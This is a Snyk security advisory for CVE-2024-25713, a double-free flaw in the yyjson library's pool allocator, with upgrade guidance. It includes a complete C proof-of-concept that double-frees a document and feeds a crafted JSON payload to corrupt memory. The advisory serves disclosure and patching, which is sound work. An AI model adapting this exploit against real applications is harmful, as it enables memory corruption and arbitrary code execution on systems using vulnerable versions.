Double Free Affecting github.com/ibireme/yyjson package, versions <0.9.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-SWIFT-IBIREMEYYJSON-10043597
- published6 May 2025
- disclosed11 Feb 2024
- creditAlsoprach
Introduced: 11 Feb 2024
CVE-2024-25713 (opens in a new tab)How to fix?
Upgrade ibireme/yyjson to version 0.9.0 or higher.
Overview
ibireme/yyjson is a C JSON library binding
Affected versions of this package are vulnerable to Double Free due to improper loop checks in the pool_free function, which is part of the pool series allocator alongside pool_malloc and pool_realloc. An attacker can execute arbitrary code remotely by exploiting this flaw.
PoC
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}